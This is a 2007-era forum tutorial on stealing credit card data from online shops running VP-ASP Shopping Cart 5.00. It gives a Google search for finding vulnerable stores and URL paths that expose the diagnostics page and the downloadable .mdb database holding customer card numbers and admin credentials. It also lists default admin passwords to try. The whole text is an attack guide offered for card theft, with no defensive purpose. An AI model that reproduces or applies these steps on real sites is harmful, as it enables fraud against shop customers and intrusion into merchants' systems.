still in it 813119147

HACK SHOPADMINS CC FOR FREE (part 1)

SHOPADMINS ARE OF DIFFERENT COMPANIES LIKE : VP-ASP , X CART .. ETC ETC. I'M POSTING THIS TUTORIAL ON HACKING VP-ASP SHOPADMINS.

Have you ever went to purchase something on the internet and you needed to enter your credit card information? I'm sure you have. Whether it had been porn, an Ipod, a laptop or anything. Below I'm posting how to hack into the database that holds this information from past customers. If the version of ASP shopadmin is correct, you can eaisly hack into it and steal credit card information, secret company/client information. Please note that huge shops like Amazon, etc use different software and aren't stupid enough to have their shopadmins exploited so easily.

---------------------

The type of shopadmin you will be looking for is VP-ASP Shopping Cart Version 5.00

Now, how do you find these? Well, I'm sure you've been told Google is your friend plenty of times, and it's extremely useful in this scenario.

Go to Google.com and type this;

intitle: VP-ASP Shopping Cart 5.00

You will find many websites with VP-ASP 5.00 cart software installed. Just pick a random one, on a random page. Remember that alot of these would of already been exploited, so try one on like page 1000 . Now you need to exploit it!

The page will look like this...> ****://***.victim.com/shop/shopdisplaycategories.asp

The exploit is : diag_dbtest.asp

So do this>

****://***.victim.com/shop/diag_dbtest.asp

A page will come up that shows:

xDatabase

shopping500 (500 being the number of products in the shop which is helpful to know if you're hacking a big website)

xDblocation

resx

xdatabase

typexEmail

xEmailName

xEmailSubject

xEmailSystem

xEmailType

xOrdernumber (Example)

The most important thing here is xDatabase

xDatabase: shopping500

Ok now the URL will be like this:

****://***.victim.com/shop/shopping500.mdb

continue 04/02/2007 22:53

If you didn't /can't download the database, try this while there is dblocation.

xDblocation

resx

Now the URL will be this...

****://***.victim.com/shop/resx/shopping500.mdb

If you see an error message, try this.

****://***.victim.com/shop/shopping550.mdb

Download the mdb file and you should be able to open it with any mdb file viewer. Find one at download.com or use MS Office or whatever.

Now you are inside the shop, look for credit card information and usually the shopadmin username and password.

The admin login page is usually located here..

****://***.victim.com/shop/shopadmin.asp

If you can't find the MDB or the shopadmin login, try all the default passwords, seriously, some people ARE this stupid.

Username: admin

password: admin

OR

Username: vpasp

password: vpasp

---------------------

I hope you enjoyed the guide.